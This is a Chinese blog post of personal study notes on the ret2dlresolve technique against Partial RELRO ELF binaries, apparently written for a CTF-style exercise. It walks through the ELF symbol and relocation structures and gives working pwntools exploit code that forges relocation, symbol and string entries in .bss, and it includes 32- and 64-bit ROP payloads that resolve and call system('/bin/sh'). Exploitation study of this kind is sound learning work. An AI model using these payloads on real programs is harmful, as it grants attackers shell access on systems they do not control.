ret2dl学习以及对应符号表解析2(partial relro)

本文最后更新于 2026年8月19日 晚上

ret2dl学习以及对应符号表解析2

  • 开启partial之后,.dynamic的所有段都不可以修改,于是伪造下标来达成解析的目的。即动态链接器不检测下标的长度,不查询各个表一共多少项,一共有多长。

dynsm中每个表项为16字节,按表项来查询内容

1
2
3
4
5
6
7
8
typedef struct {
Elf32_Word st_name; // 0-3 字节:符号名在 .dynstr 中的偏移
Elf32_Addr st_value; // 4-7 字节:符号地址(未解析时=0)
Elf32_Word st_size; // 8-11 字节:符号大小
unsigned char st_info; // 12 字节:类型+绑定(0x12 = GLOBAL | FUNC)
unsigned char st_other;// 13 字节:可见性(通常 0)
Elf32_Half st_shndx; // 14-15 字节:所在节索引
} Elf32_Sym;

构造方式:

1
2
3
fake_st_name   = fake_str_addr - dynstr
# fake_sym: st_name | st_value | st_size | st_info(0x12=GLOBAL+FUNC) | st_other | st_shndx
fake_sym = p32(fake_st_name) + p32(0) + p32(0) + p8(0x12) + p8(0) + p16(0)

dynstr中按照距离首地址的字节数来查询内容

如这样

1
2
3
4
偏移 0x00: \x00c
偏移 0x01: "libc.so.6\x00"
偏移 0x4c: "write\x00"
偏移 0x58: "read\x00" ...

relplt表项的内容

1
2
3
4
typedef struct {
Elf32_Addr r_offset; // 0-3 字节:要写到哪(通常是 GOT 表项地址)
Elf32_Word r_info; // 4-7 字节:高 24 位=符号在 cdynsym 中的下标,低 8 位=重定位类型
} Elf32_Rel;

64位有所不同,用的是rela.plt

1
2
3
4
5
typedef struct {
Elf64_Addr r_offset; // 8字节:需要被修正的位置(GOT 表项地址)
Elf64_Xword r_info; // 8字节:包含符号表索引和重定位类型,高4字节是索引,低4字节是类型
Elf64_Sxword r_addend; // 8字节:显式加数(用于计算最终地址)
} Elf64_Rela;

构造:

  • r_info:高 24 位 = sym_index(告诉链接器去 dynsym 第几个符号找),低 8 位 = 0x7= R_386_JMP_SLOT(JUMP_SLOT 重定位类型)。glibc 2.34+ 的 _dl_fixup 有个断言就是检查 type == JMP_SLOT,不是 7 直接 abort——这就是为什么低 8 位必须写 7。
1
2
r_offset_target = bss + 0x200          # 随意一个存在的较远的地址(不影响伪造链和 /bin/sh)
fake_rel = p32(r_offset_target) + p32((fake_sym_index << 8) | 0x7)

先在bss段上找各个位置的伪造。

1
2
3
4
5
6
7
fake_rel_addr = bss + 0x0
fake_sym_addr = bss + 0x2c # 关键: (fake_sym_addr - dynsym) % 16 == 0
fake_str_addr = bss + 0x4c # "system\x00"
binsh_addr = bss + 0x80 # "/bin/sh\x00"

fake_sym_index = (fake_sym_addr - dynsym) // 16
fake_st_name = fake_str_addr - dynstr

dl函数中的linkmap*不可控,可控的只有第二个参数reloc_arg,计算它的相对偏移

1
reloc_arg = fake_rel_addr - rel_plt      # reloc_arg = fake_rel 相对 rel.plt 的偏移

构造需要写入的fake_chain链,用栈溢出调用read写到bss段上

1
2
3
4
5
6
7
8
9
fake_chain  = fake_rel                        # bss+0x00 (8B)
#fake_chain += b'A' * (0x2c - len(fake_rel)) # 补到 bss+0x2c
fake_chain = fake_chain.ljust(0x2c,b'A')
fake_chain += fake_sym # bss+0x2c (16B)
#fake_chain += b'B' * (0x4c - 0x2c - len(fake_sym))
fake_chain = fake_chain.ljust(0x4c,b'B')
fake_chain += b'system\x00' # bss+0x4c
fake_chain += b'C' * (0x80 - 0x4c - 7)
fake_chain += b'/bin/sh\x00' # bss+0x80

写入伪造链后执行解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 ---------- 阶段 1: 把伪造链写到 bss, 然后回 vuln ----------
payload1 = b'A' * 76 # 溢出偏移 0x48+4 = 76 (buf 在 ebp-0x48)
payload1 += p32(read_plt) # 调 read
payload1 += p32(vuln_addr) # 返回地址 = vuln (重新进入漏洞)
payload1 += p32(0) # fd
payload1 += p32(bss) # buf
payload1 += p32(len(fake_chain)) # size

p.recvline()
# 注意: vuln 里 read(0, buf, 0x200) 必须读满 0x200 才返回, 所以要补齐
p.send(payload1.ljust(0x200, b'\x00'))
p.send(fake_chain) # 第二次 read 写入 bss

# ---------- 阶段 2: 干净触发 ret2dl ----------
payload2 = b'A' * 76
payload2 += p32(plt0) # 跳 plt0 -> _dl_runtime_resolve
payload2 += p32(reloc_arg) # reloc_arg (fake_rel - rel_plt)
payload2 += p32(0xdeadbeef) # 伪返回地址 (占位, system 认为 [esp] 是返回地址)
payload2 += p32(binsh_addr) # system("/bin/sh") 的第一个参数 (从 [esp+4] 取)

p.send(payload2.ljust(0x200, b'\x00'))

解析完后成功执行

image-20260819170951687

调试可以看到bss段上对应位置被解析了system的地址

image-20260819171256609

pwntools集成了计算dlresolve的偏移的方法,自行选择了bss段上的一个地址作为data_addr并且计算好对应的函数名、参数的写入地址以及伪造的变量。

0x00 "system\0"(名字字符串) fake_str
0x0c fake_sym(16B):st_name=0x4b74, value=0, size=0, info, other, shndx fake_sym
0x1c fake_rel(8B):r_offset=0x804ce00, r_info=0x4c007 fake_rel
0x24 "/bin/sh\0" binsh

总结:本质上是通过reloc偏移的自定义,使得dl函数索引到了伪造的rel.plt表项,然后从中读到了假的dynstm的偏移,再从假的dynsym中提供的名字在dynstr中的偏移,得到伪造的字符串的地址,索引到伪造的字符串,执行解析,解析完毕后执行该函数。

补充:64位调用时略有差距,但差距不大,第一次要调用寄存器输入三次的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
rop1 = ROP(elf)
rop1.raw(POP3_RET)
rop1.raw(0) # rdi = stdin
rop1.raw(dl.data_addr) # rsi = 目标
rop1.raw(len(dl.payload)) # rdx = 长度
rop1.raw(elf.plt['read']) # call read
rop1.raw(vuln_addr) # 返回 vuln, 等第二次输入

p.recvline()
# 注意: 每次输入必须补满 0x200, 否则 vuln 的 read 不返回
# 64 位 buf 在 rbp-0x40, 溢出偏移 = 0x40+8 = 72
# 关键坑: padding 必须用 \x00 清零! 0x200 的溢出会覆盖栈顶的
# 原始环境变量数组(envp), 若填 'A' 则 system->posix_spawn
# 的 envp 指针变成垃圾 -> execve 返回 EFAULT
p.send((b'A' * 72 + rop1.chain()).ljust(0x200, b'\x00'))
p.send(dl.payload)

第二次要提前写入对应函数的参数,偏移写在跳转地址之后

1
2
3
4
5
6
7
8
9
10
11
12
rop2 = ROP(elf)
rop2.raw(POP3_RET)
rop2.raw(binsh_addr) # rdi = "/bin/sh"
rop2.raw(0) # rsi
rop2.raw(0) # rdx
rop2.raw(plt0) # 触发解析
rop2.raw(dl.reloc_index)
rop2.raw(0xdeadbeef) # system 不返回
gdb.attach(p)

p.send((b'A' * 72 + rop2.chain()).ljust(0x200, b'\x00'))

本质上调用该函数

image-20260819192038276

这是linkmap*中对应的地址

image-20260819192119036

image-20260819195121740

参数0x309 × 0x18 = 0x48D8,对应与rela.plt中表项提取。每一项8字节,就是0x18(32位不同,32位直接就是对应字节偏移,用的是rel.plt,32位编译中乘法器直接会乘8)

image-20260819195554730


ret2dl学习以及对应符号表解析2(partial relro)
https://xyyr-c.github.io/2026/08/19/ret2dl学习以及对应符号表解析2(partial-relro)/
作者
xyyr
发布于
2026年8月19日
许可协议